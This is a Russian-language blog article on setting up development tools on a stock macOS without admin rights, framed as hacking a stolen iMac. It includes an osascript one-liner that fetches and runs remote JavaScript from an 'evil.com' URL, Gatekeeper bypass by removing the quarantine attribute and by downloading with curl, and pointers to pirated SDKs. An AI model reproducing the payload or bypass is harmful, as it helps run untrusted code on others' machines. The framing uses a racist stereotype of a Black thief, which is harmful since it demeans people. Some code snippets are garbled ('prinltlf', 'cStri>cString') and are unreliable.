Он вам не "MacOS"
Уберите хипстеров и смузихлебов от голубых экранов чтобы им не поплохело — мои шаловливые ручки дорвались до продукции Apple и сейчас я буду показывать что можно сотворить с чужим маком, без прав администратора и стандартной установки.
Идеальная репутация
Десятилетия упорного труда по одебиливанию пользователей дали отличные плоды:
серебристый iMac давным давно стал гламурной игрушкой для «богатых и успешных», никто из которых разумеется в душе не #бет и знать не желает что там внутри и как оно вообще работает.
Но это в наших коммунистических пердях, в богатом западном мире типичный пользователь Apple выглядит как-то так:
Словом это больше такой элемент лайфстайла чем повседневный рабочий инструмент, причем лайфстайл потребительский — в сторону максимального упрощения взаимодействия ради «более яркой и счастливой жизни».
Вы же понимаете что для яркой и счастливой жизни не надо сидеть за компьютером по 10 часов много лет, верно?
Сходите в кофейню с подружками, почилить там пару часов за чашкой ванильного латте, прихватив любимый серебристый мак — именно ради этого его вам и продали.
А еще разумеется у всего есть своя цена, накрученная для «успешного победителя»:
Пользователи с самого начала подсаживаются на иглу потребления и платят за каждый чих все время использования продукции Apple.
Так красиво, серьезно и организованно опускать людей на деньги умеют только в Apple, остальные вендоры до сих пор где-то в догоняющих.
Также добавлю, что с точки зрения отечественного обывателя продукция Apple считается дорогой, но ровно до тех пор пока они не сталкиваются с профессиональным оборудованием, вне широкого потребительского сегмента.
Ну или с настоящим luxury — как кому повезет.
Тайны внутренних органов
Apple не очень любит внимание к внутренностям своих продуктов и мягко говоря не поощряет какие-либо изыскания в них, по поводу и без.
Хотя уже была попытка раскрытия исходного кода ядра (довольно быстро остановленная), «userland» — пользовательское окружение всегда был и остается закрытым.
Книг и материалов по внутреннему устройству что большой MacOS что iOS откровенно мало, а изложенная там информация сильно напоминает передачу «Поле чудес» реалии Microsoft Windows времен 90х:
какие-то недокументированные функции, непонятные сервисы, домыслы, мнения и догадки.
Разве что магических ритуалов при загрузке и восстановлении данных пока нет. А сам мак еще и будет постоянно намекать мигая индикаторами:
«тебе это не надо, это слишком сложно, расслабься и иди в кофейню, отрасти бороду и купи рубашку в клетк.» — ну вы поняли как появляются хипстеры.
Что мы будем делать
Ниже я покажу несколько трюков связанных с разработкой ПО на абсолютно чистой пользовательской MacOS, без какого-либо установленного дополнительного инструментария и без прав администратора.
Последнее очень важно, поскольку права администратора нужны практически для всего более-менее интересного: изменения настроек ОС, установка нового ПО, доступ к некоторым каталогам и так далее.
Представьте что вы — огромный негр с золотой цепью из Бруклина и только что отжали новенький iMac у какого-то ботана.
Доступ на рабочий стол есть (он автоматический), но пароля администратора вы не знаете.
Но прежде чем толкать паль ближайшему скупщику ради денег на крек, вы вдруг решили заняться разработкой ПО под MacOS.
Главное не забудьте потом записать рэп про вашу нелегкую жизнь и вкатывание в ИТ столь необычным способом.
Девственная среда
Ради этой статьи я развернул чистую копию последней MacOS Sonoma в виртуальной машине, с абсолютно стандартным набором пользовательского ПО.
Именно такую систему вы получите при покупке мака в магазине.
Для начала кратко пройдусь по возможностям MacOS и тому что есть в ней «из коробки». Начнем с двух самых важных для разработчика приложений: консольного терминала и текстового редактора.
Не поверите, но их двоих вполне хватит для любой разработки, если приложить немного усилий и чего-то понимать в своем деле.
Запускаются они с помощью Launchpad, путем ввода названий в строку поиска. Для запуска терминала вводите terminal, для текстового редактора edit.
Вот так выглядит запущенный терминал:
И редактор (c переключением вида на обычный текст):
MacOS это самый настоящий Unix, в котором есть практически все стандартные консольные утилиты: bash, grep, ps, top, pwd, uname и так далее — отличия от какой-нибудь современной Ubuntu минимальны, если не начать углубляться в детали.
Но к сожалению в чистой MacOS практически полностью отсутствуют средства разработки и вместо настоящих команд стоят заглушки, попытка вызова которых выдает вот такой диалог:
К счастью даже в установке MacOS по-умолчанию присутствуют два серьезных интерпретатора скриптовых языков: Perl и Tcl.
И кое-что еще, куда более мощное (см. ниже).
Perl
Оочень мощная штука, доступная в любой MacOS, страшное оружие в умелых руках. Разумеется это старая добрая 5я версия:
Встроенный в MacOS перл непростой — в нем сразу установлены модули Foundation и PerlObjCBridge, которые позволяют взаимодействовать с нативными приложениями на Objective-C и API самой MacOS из скриптов на Perl. Напоминаю, если кто-то из читателей не в курсе:
приложения на Objective-C взаимодействуют через специальные сообщения — события, поэтому у вас появляется возможность влезть на этот праздник жизни со своимикривымискриптами.
Пример работы с нативными строками:
#!/usr/bin/perl use Foundation; $s1 = NSString->stringWithCString_("Hello "); $s2 = NSString->alloc()->initWithCString_("World"); $s3 = $s1->stringByAppendingString_($s2); printf "%s\n", $s3->cStri>cString();
#!/usr/bin/perl use Foundation; $hostName = NSProcessInfo->processInfo()->hostName(); printf "%s\n", $hostName->cString();
К сожалению в этой версии нет поддержки работы с интерфейсом:
This version of PerlObjCBridge does not directly support writing GUI
Cocoa applications in Perl.
Зато все остальное работает на ура, например вот такой классический HTTP-сервер:
#!/usr/bin/perl use strict; use warnings; use CGI qw/ :standard /; use Data::Dumper; use HTTP::Daemon; use HTTP::Response; use HTTP::Status; use POSIX qw/ WNOHANG /; use constant HOSTNAME => qx{hostname}; my %O = ( 'listen-host' => '127.0.0.1', 'listen-port' => 8080, 'listen-clients' => 30, 'listen-max-req-per-child' => 100, ); my $d = HTTP::Daemon->new( LocalAddr => $O{'listen-host'}, LocalPort => $O{'listen-port'}, Reuse => 1, ) or die "Can't start http listener at $O{'listen-host'}:$O{'listen-port'}"; print "Started HTTP listener at " . $d->url . "\n"; my %chld; if ($O{'listen-clients'}) { $SIG{CHLD} = sub { # checkout finished children while ((my $kid = waitpid(-1, WNOHANG)) > 0) { delete $chld{$kid}; } }; } while (1) { if ($O{'listen-clients'}) { # prefork all at once for (scalar(keys %chld) .. $O{'listen-clients'} - 1 ) { my $pid = fork; if (!defined $pid) { # error die "Can't fork for http child $_: $!"; } if ($pid) { # parent $chld{$pid} = 1; } else { # child $_ = 'DEFAULT' for @SIG{qw/ INT TERM CHLD /}; http_child($d); exit; } } sleep 1; } else { http_child($d); } } sub http_child { my $d = shift; my $i; my $css = <<CSS; form { display: inline; } CSS while (++$i < $O{'listen-max-req-per-child'}) { my $c = $d->accept or last; my $r = $c->get_request(1) or last; $c->autoflush(1); print sprintf("[%s] %s %s\n", $c->peerhost, $r->method, $r->uri->as_string); my %FORM = $r->uri->query_form(); if ($r->uri->path eq '/') { _http_response($c, { content_type => 'text/html' }, start_html( -title => HOSTNAME, -encoding => 'utf-8', -style => { -code => $css }, ), p('Here are all input parameters:'), pre(Data::Dumper->Dump([\%FORM],['FORM'])), (map { p(a({ href => $_->[0] }, $_->[1])) } ['/', 'Home'], ['/ping', 'Ping the simple text/plain content'], ['/error', 'Sample error page'], ['/other', 'Sample not found page'], ), end_html(), ) } elsif ($r->uri->path eq '/ping') { _http_response($c, { content_type => 'text/plain' }, 1); } elsif ($r->uri->path eq '/error') { my $error = 'AAAAAAAAA! My server error!'; _http_error($c, RC_INTERNAL_SERVER_ERROR, $error); die $error; } else { _http_error($c, RC_NOT_FOUND); } $c->close(); undef $c; } } sub _http_error { my ($c, $code, $msg) = @_; $c->send_error($code, $msg); } sub _http_response { my $c = shift; my $options = shift; $c->send_response( HTTP::Response->new( RC_OK, undef, [ 'Content-Type' => $options->{content_type}, 'Cache-Control' => 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0', 'Pragma' => 'no-cache', 'Expires' => 'Thu, 01 Dec 1994 16:00:00 GMT', ], join("\n", @_), ) ); }
Совершенно спокойно работает на девственно чистой MacOS, без каких-либо дополнительных библиотек и установленных средств разработки:
Даже этой столь простой версии хватит чтобы создавать простейшие веб-приложения и воровать данные.
Tcl и Tk
Дедушка и бабушка современных скриптовых языков, про который я успел написать отдельную статью.
Из интересного для пролетариев от разработки, не владеющих этим замечательным языком, отмечу что оно позволяет работать с интерфейсом в MacOS — рисовать диалоги, кнопки, списки и так далее без установленных средств разработки, без SDK и компиляторов.
Вот для примера простейший калькулятор:
Разумеется будут работать и все остальные возможности этого языка: работа с сетью, файлами, юникодом и всем прочим интересным.
Но это цветочки, по сравнению с главной имбой для творения всякого необычного и нехорошего.
AppleScript
Начну с цитаты:
AppleScript — язык сценариев, созданный Apple и встроенный в macOS, используемой на компьютерах корпорации начиная с System 7.
И пусть вас не смущают слова «сценарий» и «команды выполнения», это страшная штука в умелых руках.
osascript -l JavaScript -i eval(ObjC.unwrap( $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('https://evil.com/evil')),$.NSUTF8StringEncoding )) );
Тут все сразу хорошо для знающих и владеющих:
в одной строке происходит скачивание и немедленное выполнение командного кода с синтаксисом Javascript.
osascript — командный интерпретатор для сценариев AppleScript, ключ -l указание на синтаксис Javascript, -i это interactive mode, однострочный скрипт.
А NSString, NSData и NSURL — уже системные классы.
Вот так можно отправить стандартное оповещение из скрипта:
osascript -e 'display notification "" with title "test"'
Обратите внимание на синтаксис - это как раз стандартный синтаксис AppleScript. Результат выполнения:
Но на самом деле все описанное — мелочи, очень специфичные инструменты, работать с которыми без внешних библиотек сложно и неприятно.
Поэтому мы переходим к большой разработке и современному инструментарию.
Но начнем с решения проблемы с одной заразой, мешающей спокойной жизни и работе честных людей, на ворованном маке и без прав администратора.
Установка без доверенных источников
В последних версиях MacOS добавили хтоническую херь под названием Gatekeeper:
macOS includes a technology called Gatekeeper, that's designed to ensure that only trusted software runs on your Mac.
The safest place to get apps for your Mac is the App Store. Apple reviews each app in the App Store before it’s accepted and signs it to ensure that it hasn’t been tampered with or altered. If there’s ever a problem with an app, Apple can quickly remove it from the store.
Как только вы попробуете скачать бинарник, скрипт или архив из интернета и запустить — увидите вот такое страшное предупреждение:
Работает оно через специальный атрибут, устанавливаемый на каждый скачанный файл:
К счастью данный атрибут легко и просто снимается:
xattr -d com.apple.quarantine ./ld64.lld
После чего бинарник совершенно спокойно запускается без каких-либо ограничений:
Имейте ввиду что атрибут карантина ставится автоматически на все файлы внутри архива при распаковке если не был снят с самого архива.
Поэтому необходимо снимать атрибут карантина с архива до его распаковки, а именно архивы мы и будем использовать далее, поскольку для нормальной установки ПО нужны права администратора.
Также здесь и далее я буду использовать архитектуру x86_64, как самую распространенную.
Если у вас совсем новый мак на M1 — в нем все равно обязательно будет поддержка x86_64 и бинарники под эту архитектуру будут запускаться.
Node.js
Открываете стандартный браузер Safari и скачиваете с официального сайта готовую бинарную сборку, версию в архиве (не инсталлятор), прямая ссылка для скачивания тут.
Safari считает себя сильно умным, поэтому частично распакует архив самостоятельно после скачивания и вместо файла .tar.gz у вас будет просто .tar. Снимаем атрибут карантина и распаковываем:
xattr -d com.apple.quarantine ~/Downloads/node-v20.11.1-darwin-x64.tar tar xvf ~/Downloads/node-v20.11.1-darwin-x64.tar
Запускаем bash и добавляем каталог с Node.js в переменную PATH:
export PATH=~/work/node-v20.11.1-darwin-x64/bin:$PATH
Проверяем что node доступна из окружения:
node -v
Команда выше должна успешно выполниться и отобразить версию установленной Node.js.
Также вместе с Node.js должен быть и пакетный менеджер NPM:
npm -v
Этого уже хватит для разработки какого-то простого приложения на Node.js, теперь переходим к более серьезным вещам.
XPM
Вот про эту штуку вы точно не знали:
Based on a simple multi-version dependencies manager (built on top of npm), the xPack project aims to provide a set of cross-platform tools to manage, configure and build complex, modular, multi-target (multi-architecture, multi-board, multi-toolchain) projects, in a reproducible way, with an emphasis on C/C++ and bare-metal embedded projects.
Сие порождение сумрачного гения — пакетный менеджер, работающий поверх npm для нативных библиотек и инструментов разработки.
С помощью этой чудесной утилиты можно скачать и установить всю необходимую среду для нативной разработки на C/C++ под маком — без всяких XCode и прочей хтони.
npm install --global xpm@latest
mkdir testproj cd testproj xpm init
В результате появится новый пустой проект с package.json внутри, в который затем будут добавляться зависимости.
Честно говоря не думал что доживу до того дня когда clang, cmake и gcc будут устанавливаться в виде пакетов NPM, но пришлось:
xpm install @xpack-dev-tools/clang@latest --verbose
После выполнения появится каталог xpacks, внутри которого будет каталог .bin с всеми стандартными бинарниками, необходимыми для компиляции:
Добавляем его в переменную окружения PATH:
export PATH=./xpacks/.bin:$PATH
Теперь наконец можно вызвать компилятор вместо заглушки, требующей в ультимативной форме установить XCode:
Но к сожалению одного только компилятора недостаточно для сборки чего-то работающего, нужны заголовочные файлы для стандартных функций вроде ввода-вывода.
Разумеется они тоже поставляются вместе с XCode и в чистой MacOS их нет, в отличие от нормальных линуксов или *BSD.
К счастью выход есть в виде (только не смейтесь) пиратских выкладок MacOS SDK на Github. (!)
Чего только на свете не бывает, ей богу.
Я использовал для этой статьи версию заголовочных файлов вот отсюда, но разумеется такие репозитории регулярно зачищают.
А народ выкладывает по новой, поскольку это нужная вещь для автоматических сборок под MacOS, без #бли с кросс компиляцией и скачивания 14Гб пакета XCode.
Ищутся такие репозитории очень простым запросом в поисковиках:
github macos sdk
Скачиваем архив, снимаем атрибут карантина и распаковываем:
xattr -d com.apple.quarantine ~/Downloads/MacOSX13.3.tar.xz tar xvzf ~/Downloads/MacOSX13.3.tar.xz
На архиве в формате .xz у Safari заканчивается весь его интеллект, поэтому никакой автоматической распаковки не будет и архив останется как есть.
Открываем текстовый редактор (TextEdit), вводим вот такой простейший код на C:
#include <stdio.h> int main() { prinltlf("Йо-хо-хо и прощай XCode!\n"); return 0; }
Cохраняем файл как hello.c в каталог ~/work/testproj.
clang hello.c -I ./MacOSX13.3.sdk/usr/include -L ./MacOSX13.3.sdk/usr/lib -D __i386__ -fuse-ld=lld -o hello
Обратите внимание на флаг -fuse-ld=lld — это указание на использование линковщика поставляемого с компилятором clang вместо системного ld, который находится в библиотеке binutils, которая (сюрприз) ставится только вместе с XCode.
Установка специальной переменной __i386__ также необходима, поскольку она используется в макросах заголовочных файлов, без ее указания сборка завершится с ошибками.
./hello
Прежде чем у меня все получилось, несколько раз попадал на сборки clang с неправильной версией линковщика — для другой архитектуры.
Чтобы обойти эту проблему, можно скачать готовый линковщик специально для x86_64 архитектуры из этого репозитория, снять атрибут карантина, распаковать и использовать при сборке:
clang hello.c -I ./MacOSX13.3.sdk/usr/include -L ./MacOSX13.3.sdk/usr/lib -D __i386__ -fuse-ld=lld --ld-path=~/Downloads/ld64.lld -o hello
Обратите внимание что ключ -fuse-ld=lld не может содержать полный путь, поэтому для его задания нужно использовать отдельный ключ:
--ld-path=~/Downloads/ld64.lld
На сладкое еще несколько инструментов для разработки.
Java
Разумеется официальную версию поставить не выйдет, поскольку она поставляется в виде бинарного пакета, требующего установки в систему и прав администратора.
Зато есть OpenJDK и готовые бинарные сборки для MacOS:
curl https://download.java.net/java/GA/jdk21.0.2/f2283984656d49d69e91c558476027ac/13/GPL/openjdk-21.0.2_macos-x64_bin.tar.gz --output jdk.tar.gz
Я же не забыл рассказать что в MacOS по-умолчанию есть утилита curl?
Тогда добавлю еще один прикол — скачанные с ее помощью файлы не имеют атрибут карантина:
Поэтому распаковываем и спокойно запускаем, пока Gatekeeper не видит:
tar xvzf ~/jdk.tar.gz ./jdk-21.0.2.jdk/Contents/Home/bin/java --version
Должна отобразиться версия сборки:
И дальше спокойно работаем с любыми Java-приложениями, без ограничений.
Git
Нормальный Git в MacOS также поставляется вместе с XCode, его нехватка для нормальной работы очень быстро станет очевидной и начнет мешать жить.
Есть временное решение в виде реализации клиента Git на.. Javascript.
Называется эта штука isomorphic-git, работает как в браузере так и в Node.js и несмотря на всю свою еретичность — позволяет вполне сносно работать, хотя-бы для простейших задач скачивания проекта.
Устанавливается разумеется с помощью npm:
npm i -g isomorphic-git
isogit clone --url=https://github.com/isomorphic-git/isomorphic-git --depth=1 --singleBranch
Как видите вместо старого доброго git тут используется скрипт isogit, с совпадающими аргументами.
Эпилог
Все описанное выше приведено исключительно в целях обучения, не надо пожалуйста воровать чужие маки и п#здить их владельцев — дороже выйдет разгребать последствия.
Этой статьей я всего лишь хотел показать, что под капотом гламурного серебристого девайса с яблоком скрывается очень и очень сложная и навороченная Unix-система, которая легко и просто может быть использована против своего владельца и его данных.
Очень надеюсь что статья поможет хотя-бы некоторым смузихлебам и так называемым MacOS-разработчикам в понимании куда именно они попали и что их любимая серебристая ОС устроена несколько сложнее чем кажется.
P.S. Саша, если ты это читаешь то с тебя $100 за проигранный спор ;)
И поделом, больше не будешь утверждать что я чего-то не могу сделать.